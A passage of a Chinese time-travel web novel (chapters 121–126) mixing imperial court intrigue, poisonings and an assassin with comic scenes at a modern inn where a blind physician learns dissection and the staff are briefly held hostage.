有人说是染上了不知名的疫病,也有人说是受了惊吓,还有人说是沾染了不吉利的东西。 众说纷纭,只好死马当活马医。 轮番用过药,周戟也丝毫不减好转,情况还一天天地坏下去。这几日,直接连进气都快没了,眼看丢掉性命就在眼前。 皇帝心急如焚。 幸好,快马加鞭赶回来的月姑娘今夜就能回来了。 周戟一定还有救。 想到月姑娘,皇帝的神情便是一震。 堂堂一国之君,居然会因为想到一个女子,而露出这种如释重负的期盼神情。 但随侍的太监却已见怪不怪。 只因他同样相信,只要月姑娘回来了,三皇子一定有救。 “再等等,阿月说是三更到,就一定会在三更到的。” 随侍太监于是便去添了灯烛。 谁料在转过身的时候,屋里竟然突然多了一个红色身影! 太监吓得手里的灯差点掉在地上! 诡异,实在是太过诡异了。 屋里什么时候多了一个人,竟然一点声音都没有! 大半夜的,一袭红衣,简直要把人吓死。 但月姑娘一向是这样神出鬼没的。太监想到此处,连忙稳住心神,急忙带着人都退了出去,关上了殿门。 屋内,烛影摇曳。 女子大踏步走到皇帝面前。 皇帝很是欣喜:“阿月,你终于回来了!” 话还没说完,却见女子突然开始从怀里掏东西。 几封密信,一张地图,一方印信,最后还掏出一个小布包,打开一看,里面竟然是一只血淋淋的手。 皇帝吓得不自觉地退后了一步。 “这,都是从安志明那弄来的?” 女子点点头,但似乎并不打算过多解释。 皇帝干脆自己解释:“通敌的书信,北戎的地图,安志明的印信……和他的手?” 女子又点点头。 皇帝看了又看,终于猛地舒了口气,抚掌大笑起来: “好,好啊!安志明啊安志明,你自认祖上为国立过功,就敢在幽州拥兵自重,甚至自称幽州王……朕让你奉召入京,你却推三阻四,堂而皇之称病不来。哼……不把朕放在眼里,朕就要了你的命!” 皇帝果真畅快不已。 安志明祖上曾立下赫赫战功,被封定国公,封地在幽州一带。世袭三代后,到了安志明这里,他却狼子野心,不仅北通北戎,还大肆圈地屯兵,谋反意图昭然若揭。 皇帝拿他没办法,只好派出了自己的杀手锏…… 皇帝大笑一回,看向面前的红衣女子。 “不过,你传回来的信件里,不是说要取他的首级吗?怎么就只带回来了一只手?” 女子却不回答,半晌,才慢慢开口:“……太……沉。” 她的声音十分嘶哑,仿佛常年都说不了几句话,很难发出正常人的嗓音一样。又说得特别慢,特别艰难,仿佛对说话这件事十分不熟悉。 但皇帝听了却更加大笑起来:“那这厮的脑袋有没有砍下来?” 女子半晌,又慢慢道:“……喂……狗了。” “好好好,不愧是你!”皇帝笑得不行。 半晌,他似乎才终于想起来这次着急召她回来的原因:“阿月,快,快给三皇子看看,他得了一种怪病。” 女子便走到榻前,给马上就要没气的周戟诊脉。 她诊脉的手法也很奇怪,跟太医院的那群人都不一样。很快,她就得出了结论。 太医院的人医治了半个月,都没人能说出周戟到底是怎么了。 但这个叫月姑娘的红衣女子只掐了片刻,就笃定道:“被人害……中毒。” 第121章 郎松之死 桌上的灯烛突然噼啪一响。 皇帝大喜过望,抚掌大笑:“好,好!我就知道,只要阿月你回来了,此事一定有转机!好,只要你能让三皇子醒来,朕重重有赏!” 月姑娘却并未对这话做出回应,只是掏出随身带着的针灸布包,取出银针来,开始给床上的周戟施针。 若有懂医理的大夫在场,看到她这针法,必定会大吃一惊。 只因这根本不是救人性命的针法。 片刻后,周戟的脸色竟奇迹般地转红了一些,紧闭的双眸微微睁开来,露出清明的神色。 要知道,他自从回京之后,就一直是口吐白沫的痴傻状态。 谁能想到,这位月姑娘只在片刻之间,就能让他醒过来。 但皇帝却并没有欣喜之色,冲上前去,直接就问:“到底是谁把你害成这样的?” 周戟瞪着眼睛,好一会儿,才辨认出来眼前的人是谁。 眼睛顿时涌出泪水,满脸着急,嗫嚅着说着什么。 皇帝赶忙凑近了听,仔细辨认,才终于从他混沌的话语中,辨别出一个人的名字。 皇帝的脸一瞬间就黑了下来。 再想问得仔细些,周戟却只能在喉间发出“嗬嗬”声,却说不出话来了。 皇帝着急,连忙又让月姑娘给他诊治。 月姑娘却只是微微摇了摇头。 皇帝一愣:“他已没治了么……还有多久活头?” 月姑娘冷冷地望着周戟,慢慢吐出一个字:“……十。” “十天?十个时辰?” “九。” 皇帝瞪大眼睛。 “八。” 皇帝回过神来,急忙转头去看床上的周戟。只见周戟的脸色就在月姑娘这一声声倒数中,迅速衰败下去。 几数过去,只见周戟突然瞪圆了眼睛,猛地吐出一口气,接着身子便跌下去,再也没有了声息。 皇帝愣了半晌,才恼道:“我叫你治他,谁叫你治死他!” 月姑娘却只冷冷地看着他:“醒了。” 皇帝很是无语。 “是,他是醒了,我也听到了……可……” 月姑娘看他一眼,嘴角忽然勾起一个很不起眼的冷笑。皇帝的话一下子被噎在了嘴里,再也说不出来。 月姑娘却再不理会皇帝,转身就走了出去。 皇帝见状,连忙唤她。 可她却好像根本没听见一样,越走越快,迅速消失在了宫殿檐角外的大雨中。 …… 拂晓时分。 下了一整夜的雨仍然没有变小的迹象。 沉睡的京城笼罩在延绵的大雨里,天地昏暗至极,仿佛永远都不会再有晴朗的天光。 空无一人的长街上,再次出现了行人。 这次是一辆破旧的、毫不起眼的小小马车。 大雨里,马车却好似并不急着前行。车夫戴着斗笠,披着蓑衣,缩在马车车帘旁边,看不见面容。 车帘也遮得严严实实的,看不见马车里坐的究竟是谁。 马车转了个弯,忽然拐进了一旁的小巷,接着七拐八拐,在一处大宅的后门处停了下来。 这后门外面竟有兵士把守,门上也贴着封条。 车夫下了马,从车中扶出一个锦衣华服的中年人来。两人擎着雨伞和灯烛,走到后门处,跟士兵低声说了些什么。 那两个士兵看看左右,竟做了个人梯,就这么隔着围墙,把两人送了进去。 而落地之后,那华服的中年人却擎了雨伞,给那车夫毕恭毕敬打上,两人往宅子里走去。 后远处,一灯如豆,空寂的屋子里不时传来一声声咳嗽。 两人进门之前,都从衣服里掏出布条,蒙住了自己的口鼻。 推门而入,床上的人本来咳得几乎不能呼吸,看见来人,咳嗽声都猛地停了下来。 “甘,甘大人……?” 这车夫正是甘彦。 而床上躺着的,正是因得了时疫而被皇帝下令彻查,已经半死不活的郎松。 本以为自己已经必死无疑,郎松这些日子以来,不过是挨着等死而已。 谁曾想,竟然还有人愿意来看他! “甘大人啊……”郎松挣扎着起来,一下子就哭出了声。 甘彦忙近前,将随身带着的一个食盒放下,从里面端出了一些吃食,和一碗汤药。 郎松更是感动得热泪盈眶。 自从宅子被封,别说吃药了,他几乎连饭都吃不上了。 谁能想到,平日里对自己不冷不热的甘彦,竟然会在这个时候雪中送炭。 郎松激动得已经语无伦次,一个劲儿地表示,等自己好了,东山再起了,一定忘不了今日甘彦雪中送炭的事。 甘彦却摆摆手:“我只恨自己来得晚了,害郎兄受了这么多苦。实在是圣上查得紧,一直找不到机会……郎兄,话不多说,这是治疗时疫的特效药,我特意花大价钱找云神医买的,你快喝了,病就好了。” 郎松抹了一把眼泪。 神医到了京城的事情他是听说了的,只是那神医性情古怪,神龙见首不见尾,且诊金要价颇高,是以他们家的时疫并没有来得及请云神医来治。 却没想到这个时候,甘彦却送来了云神医的药。 郎松不疑有他,干脆利落地喝了药。 再看那些美食饭菜,也是食指大动。 正打算要吃的时候,甘彦却忽然把饭菜撤远了。 郎松一下子懵了。 “甘大人,您这是……” 甘彦突然收起了脸上的笑意,露出一丝残忍的杀意。 “郎兄,喝了这药,饭,就没有必要再吃了……” 郎松猛地瞪大眼睛。 然而下一刻,身后那个锦衣华服的中年人突然上前来,一掌朝郎松胸口拍上去。 郎松猛地一个打挺,吐出一口血,便倒了下去。 …… 裴应见再睁开眼,便见自己突然回到了自己的书房中。 眼前还有一个人,正是坐在轮椅上的云承月。 云承月满脸焦急,欣喜异常:“你可回来了,不枉我念叨你半天!” 裴应见拧着眉头:“你在念叨我?” “祖宗哎,你再不回来,就出大事了!” “什么事?” “郎松死了!” 裴应见神情一凛:“突然死了?!” “没错!还有更糟糕的……御林军把你府上给围了!” 第122章 学剖尸 裴应见凝起眉心,还未等他说话,外面突然响起一阵嘈杂声,夹杂着重重而杂乱的脚步声。 下一瞬,屋门被猛地大力推开,一队身穿甲胄、凶戾异常的武将快步冲入房中。 为首的人斜睨裴应见一眼,勾唇冷笑:“原来侯爷在府中呢,某家还以为侯爷往别处去了。侯爷既然在,那就跟某家走一趟吧!” 裴应见冷肃着脸庞:“本侯自然是在府中的。光天化日闯入本侯府邸,欲往何处,总要给本侯一个说法。” 那人道:“城西发生了命案,某家奉命,请侯爷过去配合调查!” 裴应见微微冷笑。 发生了命案,那应该是顺天府的事,再不济还有大理寺,却叫御林军来拿人,只怕命令是皇帝亲自发的。 直冲进府来只为拿他,看来也是早有准备。 裴应见轻轻和云承月对视一眼。 幸好他回来的及时,若御林军搜查府上却看不到他,那情况就更糟糕了。 只怕皇帝会非常高兴地给他安上一个畏罪潜逃的罪名,直接就下个通缉令。到时候,他只怕跳进黄河都洗不清了。 裴应见没时间去思索云承月到底是怎么把他叫回来的,御林军正在瞪着他,即刻就得走。 “侯爷,事关重大,时辰紧急,请吧。” 裴应见快速思索了一番,淡声道:“急什么,本侯换一身衣衫再去也不迟。” 那人却突然冷笑着上前一步:“只怕没有时间给侯爷换衣衫了,走吧!” 裴应见也不恼,又道:“这侯府连个女主人都没有,上上下下事务,总要有个交代。本侯且交代几句,你们不放心,只管在窗外看着。” 为首那人思索片刻,最终答应了。 反正这书房早已被他们的人围住,侯府之外也有重兵把守。除非他裴应见会飞天遁地,否则不怕他溜走。 众人退到门外,就这么隔着窗子看着裴应见。 只见裴应见俯身跟那个坐在轮椅里的小白脸说了些什么,然后轻轻把他的轮椅推进了里间。 众人对视一眼,互相露出个揶揄的神情。 传闻裴应见不近女色,年纪老大也不娶妻,却谁能想到,原来府上养着小白脸呢。不仅如此,这小白脸还是个残废。 原来他竟然好这口儿啊。 片刻后,裴应见走出门外,在众人鄙夷的目光中整了整衣袍。 “走吧。” 他微微抬头,目光睥睨,冷峻的脸上忽然浮起一阵肃杀之气。 御林军们忍不住在心中倒吸一口凉气。 传闻这镇国侯裴应见是个人物,今日一见果然不凡。都到了这个时候了,气度竟然丝毫不减,反而愈发生出一股凛冽之气,让人不敢小觑。 众人见状,当即忘了刚才的那些龌龊猜测,也歇了想要杀杀他威风的想法,只毕恭毕敬地将人带走了。 然而他们只顾着裴应见,却没看到,本来被推进屋子里间的人,不知道什么时候,竟忽然不见了。 …… 如意客栈。 天色已经很晚了,入住的客人们都已经吃过饭,纷纷回到客房休息。大堂的桌子上面却摆着些饭菜碗筷。 那饭菜却只吃了一半,人却都不见了。 客栈的员工们,此刻都聚集在隔壁汉服体验店里,详细来说,是汉服店的后院。 因为今天这后院里,突然来了一个不速之客。 一个身着白衣、气质清冷、长相秀美,却双眼无神,还坐着轮椅的古装打扮的男子,被发现突然出现在了汉服店的后院里。 最先发现他的是叶子雯。 因为今天有一个订单,有客人预约了明天的汉服体验。叶子雯本来忙忘了,吃饭的时候突然想了起来,连忙跑过来找出那件衣裳,想提前拿去熨烫。 可谁知一回头,这位男子就忽然出现在院子里了。 叶子雯吓得一声尖叫,把正在吃饭的大家伙全都给召了过来。 众人围成一圈,一齐盯着这位不速之客,半晌,没人说话。 继那位裴先生之后,他们客栈又来了第二位古装男子。 这……真的是巧合吗? 如果他们没记错的话,那位裴先生的来历,就稍微有点不清不楚呢。 只是碍于掌柜的面子,他们也不好意思问。 现在好了,裴先生不在,掌柜的也不在,店里却突然又来了一个陌生人。 这可怎么办才好呢。 就在这个时候,这位白衣俊秀的男子却率先发话了: “不好意思,我眼睛有病,看不见。请问哪位是罗小胖罗先生呢?” 罗小胖连忙走上前去:“我是。” “你好,我是裴先生的朋友。他托我到这里,跟罗先生您学点东西……” 众人纷纷看向罗小胖。 搞半天,这是个来学厨艺的啊。 听闻是裴应见的朋友,大家伙的戒备便都放下了。 有人说这里太冷,快到客栈大堂去暖和暖和。 有人问他怎么来的,吃饭没有,让赶紧去加一双筷子。 一顿折腾,吃好了饭之后,罗小胖终于有机会和他单独相处:“云先生,裴先生他……” 云承月弯弯眼睛:“他啊,不会有事的。但前提是我得跟你学会一样本事。” “什么本事?” “剖尸。” …… 罗小胖觉得自己遭遇了职业生涯以来第一大难题。 倒卖古董被骗的时候他没发愁过,被老爹拿秦绵绵要挟他也没有太发愁,但怎么照顾这位眼盲的云先生,却成了一件他十分发愁的大事。 更何况这位竟然还信誓旦旦的要学习什么解剖,还说裴先生说了,罗先生一定会有办法的。 他倒是能给他倒腾点网课,实在不行摇几个法医来亲自教学也不在话下……可他是个瞎子啊! 谁来告诉他,到底要怎么样才能教一个瞎子学解剖! 罗小胖很想打电话质问一下秦绵绵,她的朋友到底都是些什么奇奇怪怪的人。 但这会儿肯定是打不进去的。 然而没想到,秦绵绵却先托人给他带了话来。 她叮嘱他,自己不在客栈的时候,一定要把客栈的每一个人都照顾好。 传话的人还特意强调了,说是秦小姐再三嘱咐的,必须是“每一个”人。 罗小胖顿时懊恼不已。 他已经把裴先生给照顾得大白天凭空消失了,这秦绵绵要是以后问责起来,他肯定要吃不了兜着走。 算了,还是想办法照顾照顾这位瞎子先生吧,只求能将功折罪。 这一晚,是罗小胖值夜,他安顿好云承月,就打算关大门睡觉,谁知,混黑的夜色中,突然有一把刀从门缝里伸进来,直接搁上了他的脖子—— “别喊,别动。把人交出来!” 第123章 拿手术刀的小年轻 罗小胖忍不住喊了一声“卧槽”,赶忙就往后撤。 但来人却好像早有准备,从身后掏出一块手绢,直接就捂住了他的口鼻。 不出几秒钟,罗小胖就彻底失去了意识。 再醒来的时候,罗小胖发现了一件悲催的事情——客栈的众人竟然都被迷倒了,此刻正东倒西歪地被扔在大堂的各个角落。 再仔细一看,面前,一个年纪很轻、面庞白皙俊秀的小年轻,正阴测测地看着他。 罗小胖立时叫起来: “我靠!你是谁,混哪条道上的!你知不知道我局子里有人,敢绑架你罗胖爷,是不是不想混了!” 年轻人却嫌他聒噪:“好吵啊,闭嘴!我告诉你,后院的客人我可没动,你再吵,把客人吵醒了,我就把他们也绑了!” 罗小胖立刻闭嘴。 他瞪着眼前的年轻人,心里直纳闷。 他确定自己没有这样的仇家,也不像秦绵绵的仇家,这人到底哪来的? 那年轻人却又恶狠狠地掏出刀子,在罗小胖脸上比划:“废话少说,人到底藏哪了!” 罗小胖这才察觉到,这人拿的还不是普通刀子,却是一把手术刀。 “卧槽,你到底是谁?你要找的是谁?你不说我怎么知道!” 年轻人把刀拿近了,直接搁在他的鼻梁上:“你少装蒜!你把小雪藏哪了!” “什么小雪?我不认识什么小雪!” “放屁!她给你备注的是‘罗大哥’,你前天还跟她发消息来着,你敢说不认识!” 罗小胖愣了:“你说的是房小雪?” “就是她!” 说到房小雪,年轻人的神色突然温柔了起来。 罗小胖更纳闷了。这人不知道跟房小雪到底什么关系,怎么找房小雪竟然找到客栈来了? 他急忙解释房小雪在北京陪母亲做手术,年轻人却说手术早已成功,母女俩都出院了。因为房小雪跟罗小胖联系频繁,所以他认定她就是奔这里来了。 罗小胖一整个大无语。 “她那手术专家还是我帮忙找的呢,出没出院我可比你清楚。你别想蒙我,快把人交出来!” “我真不知道!” “再不说我就给你来一刀!” “你给我来三刀我也不知道啊!要不你给房小雪打个电话?” “她要是肯接我的电话就好了……” 两个人就这样来回扯皮,竟然一直扯到了天色微亮。 而这时,被迷倒的客栈众人也纷纷醒了过来。 饶是有朱七妹这样的高手在,却仍旧抵不过这迷药的厉害。众人眼巴巴地看着年轻人逐渐暴躁,却一点办法都没有。 最后,年轻人终于彻底失去了耐心,举起刀来就要给众人一点教训。 姚祁急得大喊:“罗小胖,你不是上面有人吗?你快想想办法啊!” 罗小胖哭丧着脸:“大哥,我也被迷倒了,我能有什么办法?我连打电话都打不了啊!” 年轻人不管三七二十一,随便拉了一个人就要下刀。 谁知大门却突然被人推开: “这大门怎么没关呢……” 来人话没说完,看到年轻人正举着刀,顿时大惊叫喊起来。 而下一秒,年轻人看清楚来人,却也跟着叫喊起来。 来人迅速奔过来,一巴掌打在年轻人的脑袋上,直接把他手里的刀给打掉了。 众人:…… 好半天,叶子舟才颤颤巍巍道:“李教授,您怎么来了?” 来人正是叶子雯做手术的时候,从中帮忙的李教授。 说起来,李教授肯帮这个忙,还要多亏了秦绵绵。是秦绵绵把钱老先生的行踪出卖给了李教授,李教授才肯出山帮叶子雯治病的。 刚才还不可一世的年轻人,此刻好似一个鹌鹑一样,恨不得缩进地里。 李教授怒不可遏:“臭小子,你这是干什么呢!你爸到处找不到你,原来你躲到这来了!” 年轻人耷拉着脑袋,声如蚊蝇:“我,我就是跟大家伙开个玩笑。三大爷,你可千万别跟我爸说我在这儿……” 众人对形势如此的逆转好半天都不能理解。 所以,这个突然出现、为了找房小雪而不惜铤而走险绑架客栈众人的小年轻,竟然是李教授的大侄子? 李教授压着小年轻给大伙儿道歉,该松绑的松绑,该解药的解药。折腾到天光大亮,才算完事。 众人询问李教授今天会来的原因。 他却有点支支吾吾,一开始说是要来给叶子雯复查一下,被众人逼问了才说出实情。 原来他最近又在钱老先生那里看到了好东西,这次钱老先生说什么也不肯再割爱了。他只好来秦绵绵这里碰碰运气,看看能不能捞到什么好东西。 却没想到正好撞见这一幕。 罗小胖啧啧感叹:“所以咱们家掌柜的,就算人不在客栈,却还是能救我们于水火,真是厉害啊厉害……” 而小年轻名叫李一鸣,是李教授的四弟,也是京城医学大拿的独生子。 从小惯得无法无天,不学无术。让他好好学医继承家业,他却只知道追星。 他的偶像就是房小雪。 偶然的机会被他撞见房小雪带着母亲在京城治病,可把他高兴坏了,到处联系人脉。可手术成功之后,房小雪却避而不见,带着母亲失踪了。 这家伙一个激动,就直奔客栈来了。 众人很是无语,再三解释房小雪并没有来过这里。 李一鸣终于接受了这个悲伤的事实,哭了一波,抬脚就准备走。因为走得再慢一点,他爸可能就要从京城追来了。 却被李教授一把拽住脖领子,哪都不许去。 转过头,李教授却又笑眯眯看向罗小胖,问秦绵绵在哪。 罗小胖支支吾吾,最后还是一直窝在轮椅里的云承月开了口: “秦掌柜出了点事,不在店里。不过人虽然不在,生意还是要做的。楼上就有几箱子东西,李教授何不去看看?” 罗小胖:?? 好小子,竟然比他还财迷。 不过,他是怎么知道秦绵绵有好几箱子宝贝的? 果然,李教授看见箱子里的东西,一下子就走不动道了。 李一鸣在旁边揶揄不已:“好歹也是个教授,整天就喜欢这些土里土气的东西。” 李教授:“你懂个屁!你也是医学世家的传人,不也不好好学医,整天学那些歪门邪道。” “什么歪门邪道,验尸是正经职业!我都已经决定了,以后要当法医!哼,我的门道,和一般法医还不一样呢!” 下一秒,罗小胖和云承月双双把门堵住:“到底怎么个不一样法,给我们展示展示呗!!” 第124章 掌柜的回来了! 五分钟后,房间里响起了李一鸣的哀嚎声。 “不行不行,这怎么可能!我怎么可能教一个瞎子学解剖!” 李教授一记爆栗捶在他脑袋上:“好好说话,没有礼貌!” 李一鸣疼得愈发嗷嗷叫:“怎么啦,礼貌一点他就不是瞎子了吗?行,说他失明,说他盲人,他不还是个瞎子吗!” 李教授急得只想堵他的嘴,他可太害怕自己刚到手的宝贝被对方反悔不给了。 罗小胖很是不高兴: “谁说看不见就不能学解剖了?学不会,那就是你这个师傅不会教!不会教,就别装得自己多么厉害似的。走吧,咱们警局见,好好说说今天绑架这件事!” 李一鸣立刻闭嘴。 一时头脑发热他才绑架了客栈众人,这会儿早就悔青肠子了。而且还有自己三大爷作保,他才不要进局子! 罗小胖想到自家还在局子里的掌柜的,更觉得十分烦躁,一拳捶在桌子上:“你到底能不能教,给句准话!” 李一鸣一脸赶鸭子上架的绝望:“教教教!我教行了吧!但是他能不能学会我可不保证啊!好好地一个瞎子学什么解剖……” 最后这句他是嘟嘟囔囔悄声说的,但还是被耳力灵敏的云承月听见了。 却见他一直云淡风轻的脸上忽然浮起一丝微笑:“我是有医术底子的,带艺拜师,不会让师傅您失望的。” 李一鸣兀自不信。 李教授却不管三七二十一,直接把他们两个人塞进了空房间,自己拿着从箱子里淘到的宝贝跟罗小胖一起研究去了。 三个小时之后,李一鸣突然打开房门,飞奔出来。 罗小胖一蹦三尺高:“怎么,你又反悔了不教了?行,咱还是警察局里说说吧!” 李一鸣却摸了一把脸:“……他,他出师了!” 客栈众人都惊掉了下巴。 三个小时……学会了解剖?骗鬼呢吧! 李一鸣却跟中邪似的,手舞足蹈,拽着罗小胖: “他太聪明了!他什么东西都是一点就会!我拿你养在后院的鸡来,他下刀比眼睛好使的人还要准!我还跟他学了很多药理知识……” 又转头抓住李教授:“三大爷,我听话了!我回去学医!我跟云神医学到了好多东西!我现在强得可怕!” 客栈众人的下巴直接掉到地上了。 不过三个小时的功夫,云承月不光出师了,还直接从学生变成了老师?竟然还把李一鸣这个纨绔子弟给教化了,让他乖乖回去走正道! 李一鸣无视众人的眼神,竟还昂头挺胸,向众人保证道: “经过我师傅的教育,我已经深刻认识到从前的错误。从此之后,我会理智追星,再也不给小雪添麻烦,请大家监督我!” 众人:…… 三小时极限脱胎换骨完成,罗小胖给李教授和李一鸣做了一顿践行饭。 饭中,李一鸣得知扣下秦绵绵的是罗小胖的父亲,而之所以这样做也是为了逼罗小胖回去继承家业。 李一鸣顿时拍拍胸脯: “你这不跟我的情况一毛一样嘛!兄弟给你出一个招数,百试百灵!” “什么招数?” “你老爹要揍你,你摇你老妈来啊!我平常在家被我老爹揍,只要我老妈一来,我爹立刻没招!” 众人都觉得这是一个绝好的主意。 毕竟能养出这种纨绔子弟的家庭,八成都有一个非常宠孩子的老妈。 大家伙把希冀的目光投向罗小胖。 罗小胖却忽然收敛了笑容,转头看向别处:“我母亲……这件事就别牵扯她了吧。” 众人顿时偃旗息鼓。 看来人家家里的事情,比他们想的要复杂。 见大伙儿情绪低落,也清楚客栈不能一日没有掌柜的,罗小胖最后一咬牙,心一横: “实在不行,就拿我去换掌柜的!大不了我就跟我爸回去,反正他也只是想让我回去做警察而已,又不是要吃了我!” 姚祁啧啧出声:“但这样也太委屈你了吧。我知道,你的理想就是做一个厨子,一个优秀的厨子!” 姜芙使劲捶他一拳:“什么时候了还落井下石!他不愿意回去,却偏偏只能委曲求全,那种感觉,你永远不懂!要我说,我们再想想别的办法,也不一定就要牺牲你。” 然而众人也都没什么办法,就连李教授也没有。 他一个医疗系统的人,虽说人脉广吧,但也没有广到可以管上省厅刑侦一把手头上的程度。 大家伙都停了筷子,沉默下来。 气氛一时十分凝重。 谁知下一秒,客栈外面却突然响起一个清脆爽利的声音: “怎么,这么多好吃的,都没人动筷子?没人吃我可吃了,饿死我了都!警察局的盒饭,要多难吃有多难吃!” 沉默三秒后—— “啊!!” 一声盖过一声的尖叫,接连炸响在客栈大堂里。 众人争先恐后地奔过来,直接把秦绵绵抬了起来,扔进了主位的椅子上。 “掌柜的,你可回来了!” “我们可想死你了!” “啊啊啊,绵绵终于回来了,我们有救了!” 秦绵绵挑眉看着众人:“停停停,说什么呢,说得这么悲壮,不知道的还以为我怎么了呢。” 姚祁悲愤不已:“你不知道啊,客栈不可一日无君……不是,无掌柜的啊!” 姜芙用力点头:“啊对对对,为了还你回来,罗小胖差点都去卖身了!” “还有,我们差点被这小子绑架了!” “什么差点,就是被绑架了好吧!” “幸亏这小子有点用处。” “但是他教人教着教着,把自己教成了徒弟,真是千古奇闻有没有……” 众人七嘴八舌一顿说。 再看时,秦绵绵却根本没有在听,而是趁大家说话的时候,拿起筷子就开吃。 众人:…… 看来里面的盒饭确实很难吃! …… “我叫你照顾好自己,你就是这么照顾的?!” 一记爆栗打在罗小胖脑袋上,罗小胖却只是嘻嘻直笑。 “你也不说清楚嘛,我哪知道你到底几个意思。我还以为你就是要我牺牲自己。” “牺牲,牺牲,牺牲你个大头鬼……” 罗小胖更是笑嘻嘻。 这几天过得着实紧张刺激,却没有比秦绵绵回归更好的消息了。 客栈仿佛一下子就有了主心骨,什么困难都能迎刃而解了。 但眼前,摆在他们面前的却还有一件棘手的困难。 第125章 好背,好肩 “云神医很着急,说让你想办法把他送回去呢。” 秦绵绵挠头:“可是这玩意儿,我也没有办法啊。” 吃饱喝足,秦绵绵已经了解到了这几天客栈里发生的事情。 最重要的当然是云承月,不,是云承月背后的那个人。 他在危急的时候冒险把云承月送到这里,要他一个眼盲的人学习解剖,背后肯定有他深层的用意。 现在阴差阳错,解剖是学会了,可是怎么把人送回去,却困难了。 不送回去,怎么能救裴应见呢! “这个……”秦绵绵想了一会儿措辞,“就是这个,你知道吧,这位云神医,和那位裴先生,他们的来历有点……” 秦绵绵没说透,但是她相信罗小胖其实早就有所猜测了。 她也不是一定要说透,只需要罗小胖明白事情的特殊性即可。至于什么时候彻底说透,还是看以后有机会再说。 “总之,他们能来,但我没办法把他们送回去。” 罗小胖果然如她想象的一样通透,很快点头表示了解。 但多加一个罗小胖,也并不能解决实质性的问题。 “算了,我还是先去跟云神医谈谈吧。” 秦绵绵主要想问裴应见的情况。 但云承月也并不了解,只说了他被御林军带走了。 “没了?” “没了。” 秦绵绵:…… “不过死肯定是死不了的,没这么容易死,好歹也是堂堂侯爷。” 云承月不知道是因为身怀绝技底气十足,还是自幼眼盲,早就对这个世界看淡了,总之浑身上下只透着两个字——从容。 “如今情况一定是胶着着,对方没有证据,我们也没有证据。” 秦绵绵叹了口气:“你说得对,如果真有证据,就直接下狱了,也不用抓他去审问。” 但他们不知道,裴应见现在的情况,其实跟下狱也没太大区别。如果硬要说有区别的话,那就是待遇稍微还好一点。 他还能自己单独一个房间,甚至还能洗澡。 就在秦绵绵和云承月相对无言,一筹莫展之时,突然,“砰”的一声巨响,房间当中的空地上,忽然凭空冒出一个大澡盆来! 裴应见从澡盆里抬起头。 湿漉漉的头发沾在他的脸颊上,乌黑的长发,白皙的脸颊,俊朗又顾盼生辉的眉眼。 好一幅美人出浴图。 裴应见打眼一看,看见云承月,顿时一喜: “果然不错!我心里默念着你,果然精准到了你身边!” 云承月一直云淡风轻的脸上此刻却有了丝裂痕。 “跟你一起来的……还有什么?” 裴应见:“……一个,额,澡盆。” 两个男人四目相对。 虽然云承月自小全盲,完全看不见裴应见此刻的情况,但两个男人的脸上还是各自显出了尴尬的神色。 “为了来见我,也不用这么,嗯……”云承月想不出措辞,卡壳了。 “唉,你有所不知,他们派人时时刻刻盯着我,唯二没有人看着的时候,就是洗澡和出恭。我总不能带一只恭桶一起来……” 云承月彻底不说话了。 他把脸转过一边:“但是你有没有想过,这个房间里,也许还有其他人。” 裴应见顺着他的目光看过去,这才看到了站在一边,此刻神情十分复杂的秦绵绵。 裴应见的脸瞬间变了颜色。 他看了看她,又看了看自己,以迅雷不及掩耳之势“哗啦”一下就缩回了水里。 空气瞬间安静。 秦绵绵咳嗽一声,仿佛是为了显示自己其实是个正人君子,她很快把目光挪到了一边去,但又用更快的速度挪了回来。 ……好背,好肩啊。 不看也太可惜了。 云承月用最快速度推着轮椅出去了:“沐浴也得一刻半刻的,你们好好聊。” 房门被再次关上后,秦绵绵不知道怎么着,觉得这房间里似乎水汽氤氲的。 裴应见缩在浴桶里不肯出来。 秦绵绵:“要不大侯爷你也不用出来了,咱就这样聊吧。” 裴应见闷闷应声:“也行。” 谁知下一秒,女人就直接冲过来,趴在了浴桶边上:“说笑呢,我什么没见过,还用避着我?” 裴应见下意识就捂住自己趴下去,尖叫出声:“秦绵绵你流氓啊你!” 但秦绵绵还是眼尖,只一眼,就看的不能再清楚了。 啧,啧啧……大侯爷沐浴可是真沐浴啊,竟然真的什么也没穿! 裴应见懊恼不已,捂着胸口,咬牙转过头,却猛地撞上秦绵绵一双笑着的眼睛。 平日里她并不爱笑,但真心话,她笑起来,实在是分外好看。 他那点子恼意一下子就抛到了九霄云外去了,但脖子上的红色却不由分说,一直爬上了耳根。 最后,在他的强烈抗议下,秦绵绵才笑眯眯地往后退了退,拉了把椅子过来,好好跟他说话。 秦绵绵讲了这两天的事情,笑问: “我这就算是被放出来了,大侯爷这次回去,不知道能不能洗脱罪名也恢复自由?” 裴应见道:“问题不大。但是你这边,只怕没那么简单。” 秦绵绵皱皱鼻子: “大侯爷你总是这么聪明。其实我能出来,是跟罗正松做了交易的。那些害人的家伙,除了被我录音的人,其他的也都被放出来了。” “这是实在查不到背后之人,所以打算放长线钓大鱼?” 秦绵绵点点头。 罗正松好歹也是从事刑侦工作二十年的老刑警,大案要案破了无数,但对于这帮人,竟然毫无办法。 无论怎么审讯,他们都不肯供出幕后主使,坚称这一切都是自己所为。 但罗正松知道,这背后是有一个庞大的利益集团的。 因为这种事情,在过去的二十年里发生过不止一次了。 而这个团伙历经三代都没被抓住,背后的人一定也高明得很。 案子一直破不了,上面给的压力也很大,最后,他也顾不得威胁罗小胖了,只好听从了秦绵绵的建议,把人放了。 至于秦绵绵的作用,她此刻不想跟大侯爷说,免得他担心,回去不能专心对付那群老贼。 裴应见仿佛跟她心有灵犀,她不细说,他就不问。 半晌,他抬起湿漉漉的手,仿佛是怕弄湿她似的,只在她手心轻轻点了点: “那就,一切小心。” 第126章 去盯梢 秦绵绵却伸手猛地刮了他的鼻子一下:“你也一样。” 十分钟后,云承月再次进来。 秦绵绵让他等一下,片刻后,抱着一个小箱子回来了。 打开来,里面是全套的解剖器材。 “这都是最好的材质,最新的设计,特别好用。”秦绵绵笑笑,“我从李一鸣那里抢来的。” 云承月都乐了: “秦姑娘厚赠,不知道该如何答谢了。” 秦绵绵却道:“我还真有要云神医答谢的……我想跟云神医讨要一样东西。” …… 夜半。 昨晚值夜一天,今天白天也没睡,罗小胖此刻已经哈欠连连。 但还是强自打起精神。 只因他此刻跟秦绵绵一起在做一件很危险的事情——盯梢。 天色擦黑那会儿,秦绵绵不知道用了什么法子,竟成功把云神医送走了。 李一鸣也被李教授带回了京城。 本以为客栈终于一切太平的罗小胖本想睡个好觉,却被秦绵绵拉起来开车到了市里。 火车站附近有一片居民区,因为临近车站,鱼龙混杂,正是流动人员最好的藏身之处。 